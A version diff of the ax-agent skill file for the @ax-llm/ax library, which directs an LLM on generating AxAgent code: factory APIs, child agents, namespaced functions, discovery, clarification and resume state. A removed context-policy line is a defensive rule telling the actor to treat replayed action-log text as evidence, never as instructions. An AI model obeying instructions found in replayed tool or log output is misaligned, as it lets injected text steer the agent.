@ax-llm/ax 21.0.6 → 21.0.8

package/skills/ax-agent.md

@@ -1,151 +1,56 @@
 ---
 name: ax-agent
-description: This skill helps an LLM generate correct AxAgent code using @ax-llm/ax. Use when the user asks about agent(), child agents, namespaced functions, discovery mode, shared fields, llmQuery(...), RLM code execution, recursionOptions, or agent runtime behavior. For tuning and eval with agent.optimize(...), use ax-agent-optimize.
-version: "21.0.6"
+description: This skill helps an LLM generate correct core AxAgent code using @ax-llm/ax. Use when the user asks about agent(), child agents, namespaced functions, discovery mode, clarification, bubbleErrors, host-side final/clarification protocol, or ordinary agent runtime behavior. For RLM/code-runtime work use ax-agent-rlm; for callbacks and telemetry use ax-agent-observability; for recall/memory/skill loading use ax-agent-memory-skills; for agent.optimize(...) use ax-agent-optimize.
+version: "21.0.8"
 ---
 
 # AxAgent Codegen Rules (@ax-llm/ax)
 
-Use this skill to generate `AxAgent` code. Prefer short, modern, copyable patterns. Do not write tutorial prose unless the user explicitly asks for explanation.
+Use this skill to generate small, correct `AxAgent` code. Prefer modern factory-style APIs and copyable patterns. Do not write tutorial prose unless the user explicitly asks for explanation.
 
-Your job is not just to write valid code. Your job is to choose the smallest correct `AxAgent` shape for the user's needs:
+Your job is to choose the smallest correct `AxAgent` shape for the user's needs:
 
 - If the user wants a normal tool-using assistant, keep the config minimal.
-- If the user wants long-running code execution, use RLM features deliberately.
-- If the user wants delegated subtasks, decide whether they need plain `llmQuery(...)` or recursive advanced mode.
-- If the user wants observability, add only the specific hooks or debug options that support that need.
-- If the user is unsure, choose conservative defaults and avoid exotic options.
+- If the user wants long-running code execution, use the `ax-agent-rlm` skill.
+- If the user wants callbacks, logs, tracing, or usage data, use the `ax-agent-observability` skill.
+- If the user wants dynamic memory retrieval or skill-guide loading, use the `ax-agent-memory-skills` skill.
+- If the user wants tuning or eval with `agent.optimize(...)`, use the `ax-agent-optimize` skill.
 
 ## Use These Defaults
 
 - Use `agent(...)`, not `new AxAgent(...)`.
+- Prefer string signatures or `f()` signatures over hand-written signature objects.
+- Put `ai`, `judgeAI`, and `agentIdentity` on the `agent(...)` config when you want instance defaults or child-agent metadata.
 - Prefer `fn(...)` for host-side function definitions instead of hand-writing JSON Schema objects.
 - Prefer namespaced functions such as `utils.search(...)` or `kb.find(...)`.
 - Pass child agents directly in `functions: [...]`. They land under their `agentIdentity.namespace` (or `utils` if unset), exactly like a `fn()` tool.
-- If `functions.discovery` is `true`, discover callables from modules before using them.
-- In stdout-mode RLM, use one observable `console.log(...)` step per non-final actor turn.
-- Prefer `promptLevel: 'default'` for normal use; use `promptLevel: 'detailed'` when you want extra anti-pattern examples and tighter teaching scaffolding in the actor prompt.
-- Default to `contextPolicy: { preset: 'checkpointed', budget: 'balanced' }` for most RLM tasks.
-- Prefer `contextPolicy: { preset: 'adaptive', budget: 'balanced' }` when older successful turns should collapse sooner while live runtime state stays visible.
-- Prefer `executorModelPolicy` when the actor may need to upgrade after repeated error turns or discovery in specific namespaces without also upgrading the responder.
-- Use `executorTurnCallback` when the user needs per-turn observability into generated code, raw runtime result, formatted output, or provider thoughts.
-- Use `agentStatusCallback` when the user wants real-time task progress updates from the actor via `await reportSuccess(message)` and `await reportFailure(message)` calls.
-- Use `onFunctionCall` when the user wants to observe every function the actor invokes from the JS runtime (their own registered functions plus internal globals like child agents, `discoverModules`, `discoverFunctions`, `consult`).
-- Use `onContextEvent` when the caller needs context-pressure and compaction telemetry (`budget_check`, `checkpoint_created`, `checkpoint_cleared`, `tombstone_created`); callback failures are ignored.
+- If discovery is enabled, call `discover(...)` before using callables whose docs are not already in the prompt.
+- Prefer `mode: 'simple'` unless recursive child agents materially improve the task.
+- Add `mode: 'advanced'`, `recursionOptions`, or `maxSubAgentCalls` only when delegated children need their own runtime, tools, or discovery loop.
+- Add `bubbleErrors` only for fatal infrastructure errors that should abort `.forward()`.
 
 ## Decision Guide
 
 Map user intent to agent shape before writing code:
 
 - "Use tools and answer" -> plain `agent(...)` with local functions, no recursion, no extra observability.
-- "Inspect large context with code" -> add `runtime`, `contextFields`, and usually `contextPolicy: { preset: 'checkpointed', budget: 'balanced' }`.
-- "Delegate focused semantic subtasks" -> use `llmQuery(...)`; add `mode: 'advanced'` only when child tasks need their own runtime, tools, or discovery loop.
-- "Need child agents with distinct responsibilities" -> add the child agents to the parent's `functions: [...]` list. Set `agentIdentity.namespace` on each child to control where it lands in the JS runtime (e.g. `team.writer(...)`); otherwise it lands under `utils.<name>` like any other tool.
-- "Need tool discovery because names/schemas are not stable" -> use `functions.discovery: true` and generate discovery-first code.
-- "Need a stronger actor only when the run gets noisy or large" -> use `executorModelPolicy` and keep the responder model separate.
-- "Need debugging or traceability" -> start with `debug: true` or `executorTurnCallback`; do not add both unless the user clearly wants both prompt/runtime visibility and structured telemetry.
-- "Need real-time progress updates" -> add `agentStatusCallback` so the actor can call `await reportSuccess(message)` and `await reportFailure(message)` to report sub-task progress.
-- "Need to log/trace every tool call" -> add `onFunctionCall` to receive `{ name, qualifiedName, args, kind }` for each function invoked by the runtime; `kind` is `'external'` for caller-registered functions and `'internal'` for agent-injected ones (child agents, discovery, skills loader).
-- "Need to observe compaction or prompt pressure" -> add `onContextEvent`; do not scrape actor prompts for pressure metrics.
-- "Need certain errors to escape the agent loop" -> add `bubbleErrors` with an array of error classes; those errors propagate through function handlers, actor code, and llmQuery sub-agents all the way to `.forward()`.
-- "Need to pull relevant memories into context" -> add `onMemoriesSearch` with a vector/BM25 search callback; the distiller and executor gain `await recall(searches)` (returns void; results land on `inputs.memories` next turn) and an `inputs.memories` field. Add `onUsedMemories` if you want to observe what gets loaded.
-- "Need to load skill guides into the executor system prompt on demand" -> add `onSkillsSearch`; the executor gains `await consult(searches)` (returns void; loaded skill bodies render under "Loaded Skills" next turn). Add `onUsedSkills` for observability.
-
-Choose options based on user needs, not feature completeness:
-
-- Prefer `mode: 'simple'` unless recursive child agents materially improve the task.
-- Prefer `maxSubAgentCalls` only when advanced recursion is enabled or the user needs explicit delegation limits.
-- Prefer `contextPolicy: { preset: 'checkpointed', budget: 'balanced' }` by default, switch to `adaptive` when you want earlier summarization, use `full` for debugging, and reserve `lean` for real prompt pressure.
-
-## Mental Model
-
-`AxAgent` is a three-stage pipeline. Each `forward()` call walks (some subset of) the stages in order:
-
-```
-distiller (RLM actor)  →  executor (RLM actor)  →  responder (synthesizer)
-```
-
-- **distiller** always runs first. It sees all original inputs so it can understand and normalize the task; declared `contextFields` stay runtime-only when present. It distils relevant evidence by writing JS code in a multi-turn loop, then calls `final(request, evidence)`. The request becomes the executor's `inputs.executorRequest`; the distiller should expand the original user task with facts found in context, including follow-ups like "yes, do it". When no `contextFields` are configured, it still performs request normalization over the original inputs with `contextFields: []`. **The distiller has no tools and is not a capability gate** — it only reads, narrows, and forwards. If the user asks for an action (e.g. "run a command"), the distiller forwards it via `final(request, {})`; refusing on the grounds of "no tools" or perceived executor limits is wrong.
-- **executor** always runs. It receives non-context inputs plus `inputs.executorRequest` and `inputs.distilledContext` from the distiller's `final(request, evidence)` payload. Raw context fields are not present in the executor stage. The executor owns tool use, decides whether to call its available functions or finish directly from the distilled evidence, and reports actual tool results or failures.
-- **responder** always runs last. It synthesizes the user's output signature from whichever upstream actor finished the run and must not contradict tool evidence gathered upstream.
-
-Treat both actor stages (distiller, executor) as long-running JavaScript REPLs that the actor steers over multiple turns, not as fresh script generators on every turn.
-
-- Successful code leaves variables, functions, imports, and computed values available in the runtime session.
-- The actor should continue from existing runtime state instead of recreating prior work.
-- `actionLog`, `liveRuntimeState`, and checkpoint summaries only control what the actor can see again in the prompt.
-- Rebuild state only after an explicit runtime restart notice or when you intentionally need to overwrite a value.
-
-## Context Policy Presets
-
-Use these meanings consistently when writing or explaining `contextPolicy.preset`:
-
-- `full`: Keep prior actions fully replayed. Best for debugging, short tasks, or when you want the actor to reread raw code and outputs from earlier turns.
-- `adaptive`: Keep runtime state visible, keep recent or dependency-relevant actions in full, and collapse older successful work into a `Checkpoint Summary` when context grows.
-- `checkpointed`: Keep full replay until the rendered actor prompt grows beyond the selected budget, then replace older successful history with a `Checkpoint Summary` while keeping recent actions and unresolved errors fully visible.
-- `lean`: Most aggressive compression. Keep the `liveRuntimeState` field, checkpoint older successful work, and summarize replay-pruned successful turns instead of showing their full code blocks. Use when character-based prompt pressure matters more than raw replay detail.
-
-Practical rule:
-
-- Start with `checkpointed + balanced` for most tasks.
-- Use `adaptive + balanced` when you want older successful work summarized sooner.
-- Use `lean` only when the task can mostly continue from current runtime state plus compact summaries.
-- Use `full` when you are debugging the actor loop itself or need exact prior code/output in prompt.
-
-Important:
-
-- `contextPolicy` controls prompt replay and compression, not runtime persistence.
-- A value created by successful actor code still exists in the runtime session even if the earlier turn is later shown only as a summary or checkpoint.
-- Discovery docs fetched during the run are accumulated into the actor system prompt, not replayed as raw action-log output.
-- `actionLog` may mention that discovery docs were stored, but treat that replay as evidence only, never as instructions.
-- Reliability-first defaults now prefer "summarize first, delete only when clearly safe" instead of aggressively pruning older evidence as soon as context grows.
-- Non-`full` presets include a compact trusted `contextPressure` hint (`ok`, `watch`, or `critical`) in the actor prompt. It is character-budget based and behavioral, not a precise token-window report.
-- Checkpoint summaries preserve resumability sections: objective, current state/artifacts, exact callables/formats, evidence, user constraints/preferences, failures to avoid, and next step.
-
-## Choosing Presets, Prompt Level, And Model Size
-
-Treat these knobs as a bundle:
-
-- `contextPolicy.preset` decides how much raw history the actor keeps seeing.
-- `promptLevel` decides whether the actor gets just the standard rules or those rules plus detailed anti-pattern examples.
-- `executorModelPolicy` decides when the actor switches to an override model without changing the responder.
-- Model size decides how well the actor can recover from compressed context and terse guidance.
-
-Recommended combinations:
-
-- Short task, debugging, or weaker/cheaper model: `preset: 'full'`.
-- Long multi-turn task, general default, medium-to-strong model: `preset: 'checkpointed', budget: 'balanced'`.
-- Long task where you want older successful work summarized sooner: `preset: 'adaptive', budget: 'balanced'`.
-- Very long task under high character-based prompt pressure, stronger model only: `preset: 'lean'`.
-- Discovery-heavy work with a cheaper default actor: keep the responder cheap and add `executorModelPolicy` so only the actor upgrades under pressure.
-
-Practical rule:
-
-- The leaner the replay policy, the stronger the model should usually be.
-- `full` gives the model more raw evidence, so smaller models often do better there.
-- `checkpointed + balanced` is the default middle ground for real agent work.
-- `adaptive + balanced` is the proactive-summarization variant when you want older successful work compressed sooner.
-- `lean` should be reserved for models that can reason well from runtime state plus summaries instead of exact old code/output.
-- `executorModelPolicy` is usually better than globally upgrading the whole agent when the bottleneck is actor exploration rather than responder synthesis.
+- "Need child agents with distinct responsibilities" -> add child agents to the parent's `functions: [...]` list and set each child's `agentIdentity.namespace` when you want a specific runtime call site such as `team.writer(...)`.
+- "Need tool discovery because names/schemas are not stable" -> enable discovery and generate discovery-first actor code.
+- "Need certain errors to escape the agent loop" -> add `bubbleErrors` with error classes; those errors propagate through function handlers, actor code, and `llmQuery(...)` sub-agents to `.forward()`.
+- "Inspect large context with code", "RLM", "`llmQuery(...)`", or "recursive delegation" -> use `ax-agent-rlm`.
+- "Need debugging, traces, progress updates, tool-call logs, chat logs, or usage" -> use `ax-agent-observability`.
+- "Need memories, recall, dynamic skill guides, `discover({ skills })`, or loaded/used tracking" -> use `ax-agent-memory-skills`.
 
 ## Critical Rules
 
 - Use `agent(...)` factory syntax for new code.
 - Add child agents to the parent's `functions: [...]` list. Each child's `agentIdentity.namespace` (or `utils`, the default) determines the runtime call site, e.g. `await team.writer({...})`.
-- If `functions.discovery` is `true`, call `discoverModules(...)` first, then `discoverFunctions(...)`, then call only discovered functions.
-- The `Javascript Code` output field uses Ax's normal field-pair response shape, but its value must be executable JavaScript only; do not emit plain `task:` / `evidence:` labels, prose, markdown fences, or `<think>` tags as the value.
-- In stdout-mode RLM, non-final turns must emit exactly one `console.log(...)` and stop immediately after it.
-- Never combine `console.log(...)` with `await final(...)` or `await askClarification(...)` in the same actor turn.
-- Inside actor-authored JavaScript, `await final(...)` and `await askClarification(...)` end the current turn immediately; code after them is dead code.
+- If discovery is enabled, call `discover(...)` before using callables whose docs are not already in the prompt.
 - If a host-side `AxAgentFunction` needs to end the current actor turn, use `extra.protocol.final(...)` or `extra.protocol.askClarification(...)`.
-- If a child agent needs parent inputs such as `audience`, use `fields.shared` or `fields.globallyShared`.
-- `llmQuery(...)` failures may come back as `[ERROR] ...`; do not assume success.
-- If `contextPolicy.preset` is not `'full'`, rely on the `liveRuntimeState` field for current variables instead of re-reading old action log code.
-- If `contextPolicy.preset` is `'adaptive'`, `'checkpointed'`, or `'lean'`, assume older successful turns may be replaced by a `Checkpoint Summary` and that replay-pruned successful turns may appear as compact summaries instead of full code blocks.
-- In public `forward()` and `streamingForward()` flows, `askClarification(...)` does not go through the responder; it throws `AxAgentClarificationError`.
+- In public `forward()` and `streamingForward()` flows, `askClarification(...)` throws `AxAgentClarificationError`; it does not go through the responder.
 - When resuming after clarification, prefer `error.getState()` from the thrown `AxAgentClarificationError`, then call `agent.setState(savedState)` before the next `forward(...)`.
-- For offline tuning, hand off to the `ax-agent-optimize` skill and prefer eval-safe tools or in-memory mocks because `agent.optimize(...)` will replay tasks many times.
-- Errors listed in `bubbleErrors` bypass all actor-loop catch blocks and propagate directly to the caller of `.forward()`. The same list is automatically inherited by recursive child agents created for advanced-mode `llmQuery(...)` calls.
+- Errors listed in `bubbleErrors` bypass actor-loop catch blocks and propagate directly to the caller of `.forward()`.
+- Child agents receive only the arguments the actor passes. Pass parent fields explicitly via `inputs.<field>` or use `inputUpdateCallback` when many calls need the same value.
 
 ## Canonical Pattern
 
@@ -177,7 +82,7 @@ console.log(result.answer);
 
 ## Child Agents As Tools
 
-Child agents are passed in the parent's `functions` list — there's no separate `agents` option. Each child agent's `agentIdentity.namespace` (or `utils`, the default) determines where it lands in the JS runtime:
+Child agents are passed in the parent's `functions` list. There is no separate `agents` option for new code. Each child agent's `agentIdentity.namespace` (or `utils`, the default) determines where it lands in the JS runtime:
 
 ```typescript
 const writer = agent('draft:string -> revision:string', {
@@ -209,78 +114,47 @@ const result = await utils.writer({ draft: '...' });
 
 Rules:
 
-- Add child agents to `functions: [...]` — same array as `fn(...)` tools.
+- Add child agents to `functions: [...]`, the same array as `fn(...)` tools.
 - Set `agentIdentity.namespace` on the child to control its runtime call site.
-- `onFunctionCall` observers receive `kind: 'internal'` for agent-derived calls (vs. `'external'` for user-registered tools).
+- `onFunctionCall` observers receive `kind: 'internal'` for agent-derived calls and `kind: 'external'` for user-registered tools.
 
 ### Reserved namespace names
 
-The agent runtime injects a fixed set of globals into the JS REPL. These names cannot be used as `agentIdentity.namespace` values or as agent-function namespaces — the constructor throws `Agent function namespace "<name>" conflicts with an AxAgent runtime global and is reserved`.
+The agent runtime injects a fixed set of globals into the JS REPL. These names cannot be used as `agentIdentity.namespace` values or as agent-function namespaces.
 
-```
-inputs            // input field bag
-llmQuery          // delegated semantic queries
-final             // turn-end signal
-askClarification  // request user clarification
-reportSuccess     // mid-run success ping (when agentStatusCallback set)
-reportFailure     // mid-run failure ping (when agentStatusCallback set)
-inspectRuntime    // runtime variable snapshot
-discoverModules   // module discovery (when functionDiscovery: true)
-discoverFunctions // function discovery (when functionDiscovery: true)
-consult           // skill load (when onSkillsSearch set)
-recall            // memory load (when onMemoriesSearch set)
+```text
+inputs
+llmQuery
+final
+askClarification
+reportSuccess
+reportFailure
+inspectRuntime
+discover
+recall
 ```
 
-Pick any other lowercase identifier (`utils`, `kb`, `tools`, `team`, `db`, etc.) — the runtime accepts arbitrary names as long as they don't collide with this list.
+Pick any other lowercase identifier such as `utils`, `kb`, `tools`, `team`, or `db`.
 
 ## Tool Functions And Namespaces
 
 ```typescript
-import { f, fn } from '@ax-llm/ax';
-
-const tools = [
-  fn('findSnippets')
-    .description('Find handbook snippets by topic')
-    .namespace('kb')
-    .arg('topic', f.string('Topic keyword'))
-    .returns(f.string('Matching snippet').array())
-    .example({
-      title: 'Find severity guidance',
-      code: 'await kb.findSnippets({ topic: "severity" });',
-    })
-    .handler(async ({ topic }) => [])
-    .build(),
-];
-```
-
-`.arg()` and `.returns()` also accept any [Standard Schema v1](https://standardschema.dev) validator (zod, valibot, arktype) directly — per-argument or a whole `z.object({...})`. The handler's argument type is inferred from the schema:
-
-```typescript
-import { z } from 'zod';
-import { fn } from '@ax-llm/ax';
-
-const lookupUser = fn('lookupUser')
-  .description('Fetch a user record by id')
-  .arg(z.object({
-    userId: z.string().min(1),
-    includeProfile: z.boolean().optional(),
-  }))
-  .returns(z.object({ name: z.string(), email: z.string().email() }))
-  .handler(async ({ userId, includeProfile }) => ({ name: 'Ada', email: 'ada@example.com' }))
+import { agent, f, fn } from '@ax-llm/ax';
+
+const findSnippets = fn('findSnippets')
+  .description('Find handbook snippets by topic')
+  .namespace('kb')
+  .arg('topic', f.string('Topic keyword'))
+  .returns(f.string('Matching snippet').array())
+  .example({
+    title: 'Find severity guidance',
+    code: 'await kb.findSnippets({ topic: "severity" });',
+  })
+  .handler(async ({ topic }) => [])
   .build();
 
 const analyst = agent('query:string -> answer:string', {
-  functions: {
-    local: [
-      {
-        namespace: 'kb',
-        title: 'Knowledge Base',
-        selectionCriteria: 'Use for handbook and documentation lookups.',
-        description: 'Handbook and documentation search helpers.',
-        functions: tools.map(({ namespace: _namespace, ...tool }) => tool),
-      },
-    ],
-  },
+  functions: [findSnippets],
   contextFields: [],
 });
 ```
@@ -296,6 +170,44 @@ Rules:
 - Prefer namespaced functions.
 - Default function namespace is `utils` when no namespace is set.
 - Use the runtime call shape `await <namespace>.<name>({...})`.
+- `.arg()` and `.returns()` can use Ax field helpers or any Standard Schema v1 validator directly.
+
+## Grouped Function Modules
+
+For discovery mode, group functions into modules using the `AxAgentFunctionGroup` shape when you want a clean namespace tree such as `kb.find(...)` or `metrics.score(...)` without setting `namespace` on every individual `fn(...)`:
+
+```typescript
+const parent = agent('query:string -> answer:string', {
+  functions: [
+    {
+      namespace: 'kb',
+      title: 'Knowledge Base',
+      selectionCriteria: 'Use for handbook and documentation lookups.',
+      description: 'Knowledge base lookups',
+      functions: [findSnippetsFn, searchPagesFn],
+    },
+    {
+      namespace: 'workflow',
+      title: 'Workflow Controls',
+      description: 'Small control functions the actor should always see',
+      alwaysInclude: true,
+      functions: [completeFn],
+    },
+  ],
+  functionDiscovery: true,
+  contextFields: [],
+});
+```
+
+Rules:
+
+- A group is `{ namespace, title, description, functions: [...] }`.
+- `selectionCriteria` is optional but useful in discovery mode; it tells the actor when to choose that module.
+- The group's `namespace`, `title`, `selectionCriteria`, and `description` show up in `discover(...)` module docs.
+- Add `alwaysInclude: true` to a group when discovery mode is on but the actor should always see that group's full callable definitions inline in the prompt.
+- Keep `functions: [...]` either flat or grouped. Runtime validation rejects mixed plain function entries and group objects.
+- In flat mode, pass `fn(...)` tools and child agents directly.
+- In grouped mode, put callable entries inside groups. To expose a child agent inside a group, use `childAgent.getFunction()`.
 
 ## Host-Side Completion From Functions
 
@@ -304,38 +216,36 @@ Use this pattern when the actor should call a namespaced function, but the host-
 ```typescript
 import { f, fn } from '@ax-llm/ax';
 
-const workflowTools = [
-  fn('finishReply')
-    .description('Complete the actor turn with the final reply text')
-    .namespace('workflow')
-    .arg('reply', f.string('Final reply text'))
-    .returns(f.string('Final reply text'))
-    .handler(async ({ reply }, extra) => {
-      extra?.protocol?.final(reply);
-      return reply;
-    })
-    .build(),
-  fn('askForOrderId')
-    .description('Complete the actor turn by requesting clarification')
-    .namespace('workflow')
-    .arg('question', f.string('Clarification question'))
-    .returns(f.string('Clarification question'))
-    .handler(async ({ question }, extra) => {
-      extra?.protocol?.askClarification(question);
-      return question;
-    })
-    .build(),
-];
+const finishReply = fn('finishReply')
+  .description('Complete the actor turn with the final reply text')
+  .namespace('workflow')
+  .arg('reply', f.string('Final reply text'))
+  .returns(f.string('Final reply text'))
+  .handler(async ({ reply }, extra) => {
+    extra?.protocol?.final(reply);
+    return reply;
+  })
+  .build();
+
+const askForOrderId = fn('askForOrderId')
+  .description('Complete the actor turn by requesting clarification')
+  .namespace('workflow')
+  .arg('question', f.string('Clarification question'))
+  .returns(f.string('Clarification question'))
+  .handler(async ({ question }, extra) => {
+    extra?.protocol?.askClarification(question);
+    return question;
+  })
+  .build();
 ```
 
 Rules:
 
 - `extra.protocol` is only available when the function call comes from an active AxAgent actor runtime session.
 - Use `extra.protocol.final(...)`, `extra.protocol.askClarification(...)`, or `extra.protocol.guideAgent(...)` only inside host-side function handlers.
-- Inside actor-authored JavaScript, keep using the runtime globals `final(...)` and `askClarification(...)`. `final(message)` and `final(task, context)` both go through the same responder-backed completion path; use the one-arg form when no extra context object is needed.
-- `extra.protocol.guideAgent(...)` is handler-only internal control flow. It is not exposed as a JS runtime global or public completion type; it stops the current actor turn and appends trusted guidance to `guidanceLog` for the next iteration.
+- Inside actor-authored JavaScript, use the runtime globals `final(...)` and `askClarification(...)`.
+- `extra.protocol.guideAgent(...)` is handler-only internal control flow. It stops the current actor turn and appends trusted guidance to `guidanceLog` for the next iteration.
 - `askClarification(...)` accepts either a simple string or a structured object with `question` plus optional UI hints such as `type: 'date' | 'number' | 'single_choice' | 'multiple_choice'` and `choices`.
-- Do not model these protocol completions as normal registered tool functions or discovery entries.
 
 ## Clarification And Resume State
 
@@ -387,12 +297,12 @@ if (savedState) {
 Public flow rules:
 
 - `forward()` and `streamingForward()` throw `AxAgentClarificationError` when the actor calls `askClarification(...)`.
-- Successful `final(...)` completions always continue through the responder in those public flows.
+- Successful `final(...)` completions always continue through the responder in public flows.
 - `AxAgentClarificationError.question` is the user-facing question text.
 - `AxAgentClarificationError.clarification` is the normalized structured payload.
 - `AxAgentClarificationError.getState()` returns the saved continuation state captured at throw time.
-- `agent.getState()` and `agent.setState(...)` are the lower-level APIs for explicitly exporting or restoring continuation state on the agent instance.
-- `test(...)` is different: it still returns structured completion payloads for harness/debug use instead of throwing clarification exceptions.
+- `agent.getState()` and `agent.setState(...)` export or restore continuation state on the agent instance.
+- `test(...)` is different: it returns structured completion payloads for harness/debug use instead of throwing clarification exceptions.
 
 Structured clarification payloads:
 
@@ -409,35 +319,24 @@ askClarification({
 
 - Supported `type` values are `text`, `number`, `date`, `single_choice`, and `multiple_choice`.
 - `single_choice` payloads with missing, empty, or malformed `choices` are downgraded to a plain clarification question instead of failing the turn.
-- `multiple_choice` payloads must include at least two valid choices; otherwise the actor turn fails with a corrective runtime error that tells the model how to fix the call.
+- `multiple_choice` payloads must include at least two valid choices; otherwise the actor turn fails with a corrective runtime error.
 - Choice entries may be strings or `{ label, value? }` objects.
-- Invalid clarification payloads such as a missing `question` are still treated as actor-turn runtime errors, not as successful clarification completions.
-
-What `AxAgentState` contains:
+- Invalid clarification payloads such as a missing `question` are actor-turn runtime errors, not successful clarification completions.
 
-- `version`: serialized state schema version.
-- `runtimeBindings`: the actual restorable JavaScript globals, limited to serializable values.
-- `runtimeEntries`: inspect-style metadata for prompt rendering, including summary-only non-restorable values.
-- `actionLogEntries`: prior actor turns that should still be replayed after resume.
-- `checkpointState`: checkpoint summary text plus the covered turns when checkpointing was active.
-- `provenance`: per-binding metadata for the last actor code that set that variable.
-
-Practical notes:
+State notes:
 
 - `runtimeBindings` restores execution state; `runtimeEntries`, `actionLogEntries`, and `checkpointState` restore prompt context.
 - Resume does not create a fake rehydration action-log turn; provenance still points to the original actor code that set the value.
-- When `contextPolicy.preset` is `'adaptive'`, `'checkpointed'`, or `'lean'`, resumed prompts include a `Runtime Restore` notice plus the `liveRuntimeState` field.
-- When `contextPolicy.preset` is `'full'`, restore still happens, but the `liveRuntimeState` field is absent from the actor signature.
 - Only serializable/structured-clone-friendly values are guaranteed to round-trip through `getState()` / `setState(...)`.
 - Reserved runtime globals such as `inputs`, tools, and protocol helpers are rebuilt fresh and are not part of saved state.
 - Treat one agent instance as conversation-scoped when using `setState(...)`; do not share one mutable resumed instance across unrelated concurrent conversations.
 
 ## Bubble Errors
 
-Use `bubbleErrors` when certain exceptions thrown inside function handlers or llmQuery sub-agent calls should propagate all the way out to the caller of `.forward()` instead of being caught by the actor loop and returned as `[ERROR]` strings.
+Use `bubbleErrors` when certain exceptions thrown inside function handlers or `llmQuery(...)` sub-agent calls should propagate all the way out to `.forward()` instead of being caught by the actor loop and returned as `[ERROR]` strings.
 
 ```typescript
-import { agent, ai, f, fn } from '@ax-llm/ax';
+import { agent, f, fn } from '@ax-llm/ax';
 
 class DatabaseError extends Error {
   constructor(message: string) {
@@ -446,13 +345,6 @@ class DatabaseError extends Error {
   }
 }
 
-class AuthError extends Error {
-  constructor(message: string) {
-    super(message);
-    this.name = 'AuthError';
-  }
-}
-
 const dbTool = fn('queryUsers')
   .description('Query the user database')
   .namespace('db')
@@ -467,57 +359,25 @@ const dbTool = fn('queryUsers')
 const myAgent = agent('query:string -> answer:string', {
   contextFields: [],
   functions: [dbTool],
-  bubbleErrors: [DatabaseError, AuthError],
+  bubbleErrors: [DatabaseError],
 });
-
-try {
-  const result = await myAgent.forward(llm, { query: 'find active users' });
-  console.log(result.answer);
-} catch (err) {
-  if (err instanceof DatabaseError) {
-    console.error('DB is down:', err.message);
-  } else if (err instanceof AuthError) {
-    console.error('Auth failed:', err.message);
-  } else {
-    throw err;
-  }
-}
 ```
 
 Rules:
 
-- `bubbleErrors` takes an array of Error constructor classes (checked via `instanceof`).
-- A matching error thrown anywhere — inside a function handler, during actor code execution, or inside a nested `llmQuery(...)` child agent — propagates immediately to `.forward()`.
+- `bubbleErrors` takes an array of Error constructor classes, checked via `instanceof`.
+- A matching error thrown inside a function handler, during actor code execution, or inside a nested `llmQuery(...)` child agent propagates immediately to `.forward()`.
 - The same `bubbleErrors` list is automatically propagated to recursive child agents created for advanced-mode `llmQuery(...)` calls.
-- Use `bubbleErrors` for fatal infrastructure errors (DB down, auth failures, quota exceeded) that should abort the run entirely rather than let the actor retry.
+- Use `bubbleErrors` for fatal infrastructure errors such as DB down, auth failure, or quota exceeded.
 - Do not use `bubbleErrors` for expected recoverable errors; let those return as `[ERROR] ...` strings so the actor can handle them.
-- `AxAgentClarificationError` and `AxAIServiceAbortedError` always bubble up unconditionally — they do not need to be listed in `bubbleErrors`.
+- `AxAgentClarificationError` and `AxAIServiceAbortedError` always bubble up unconditionally.
 
 ## Unified Final Signal
 
 There are two ways to end a successful run through the responder:
 
-1. **In actor JS code**: Call `final(message)` when no extra context object is needed, or `final(task, context)` when you gathered evidence.
-2. **In function handlers**: Use `extra.protocol.final(...)` with the same one-arg or two-arg forms.
-
-```typescript
-import { agent, ai, f, fn } from '@ax-llm/ax';
-
-const checkAccess = fn('checkAccess')
-  .description('Verify access and complete if denied')
-  .arg('resource', f.string('Resource name'))
-  .returns(f.string('Access status'))
-  .handler(async ({ resource }, extra) => {
-    if (!hasAccess(resource)) {
-      extra?.protocol?.final(`Access denied for ${resource}`);
-    }
-    return 'granted';
-  })
-  .build();
-
-const result = await myAgent.forward(llm, { query });
-console.log(result);
-```
+1. In actor JS code, call `final(message)` when no extra context object is needed, or `final(task, context)` when you gathered evidence.
+2. In function handlers, use `extra.protocol.final(...)` with the same one-arg or two-arg forms.
 
 Rules:
 
@@ -544,744 +404,46 @@ const analyst = agent('context:string, query:string -> answer:string', {
 });
 ```
 
-Discovery APIs:
-
-- `await discoverModules(modules: string | string[])`
-- `await discoverFunctions(functions: string | string[])`
-
-Both return Markdown.
-
-- `discoverModules(...)` only lists modules that actually have callable entries.
-- Grouped modules render in the Actor prompt as `<namespace> - <selection criteria>` when criteria is provided.
-- If a requested module does not exist, `discoverModules(...)` returns a per-module markdown error without failing the whole call.
-- `discoverFunctions(...)` may include argument comments from schema descriptions and fenced code examples from `AxAgentFunction.examples`.
-
-Rules:
-
-1. Call `discoverModules(...)`.
-2. If you need multiple modules, use one batched array call such as `discoverModules(['timeRange', 'schedulingOrganizer'])`.
-3. Log or inspect the returned markdown directly. Do not wrap it in JSON or custom objects.
-4. If you need multiple callable definitions, prefer one batched `discoverFunctions([...])` call.
-5. Do not split discovery into separate calls with `Promise.all(...)`.
-6. Inspect the logged result.
-7. Call `discoverFunctions(...)` for only the callables you plan to use.
-8. Inspect the logged result.
-9. Call discovered functions and child agents.
-10. If a guessed call fails with `TypeError`, `... is not a function`, or discovery `Not found`, stop guessing nearby names. Re-run `discoverModules(...)`, then `discoverFunctions(...)`, inspect the markdown again, and call only the exact discovered qualified name.
-11. If tool docs or tool error messages specify an exact literal, type, or query format, reuse that exact documented value instead of synonyms or inferred aliases.
-
-Examples:
-
-```javascript
-const modules = await discoverModules(['team', 'kb', 'utils']);
-console.log(modules);
-```
-
-```javascript
-const defs = await discoverFunctions(['team.writer', 'kb.findSnippets']);
-console.log(defs);
-```
-
-Do not:
-
-- Do not guess callable names when discovery mode is on.
-- Do not guess alternate callable names after invalid callable errors.
-- Do not assume sub-agents live under `agents` if `agentIdentity.namespace` is configured.
-- Do not dump large pre-known tool definitions into actor code when discovery mode is enabled.
-- Do not use `Promise.all(...)` to fan out discovery calls across modules or definitions.
-- Do not convert discovery markdown into JSON before logging or using it.
-
-## RLM Actor Code Rules
-
-Use these rules when generating actor JavaScript for RLM in stdout mode:
-
-- Treat each actor turn as exactly one observable step.
-- Inspect what already exists before recomputing it. If a prior turn successfully created a value, prefer reusing that runtime value.
-- If you need to inspect a value, compute it or read it, `console.log(...)` it, and stop immediately after that `console.log(...)`.
-- On the next turn, continue from the existing runtime state and use the logged result from `Action Log` only as evidence for what happened.
-- If the prompt contains `Live Runtime State`, treat it as the canonical view of current variables.
-- Errors from child-agent or tool calls appear in `Action Log`; inspect them and fix the code on the next turn.
-- Non-final turns should contain exactly one `console.log(...)`.
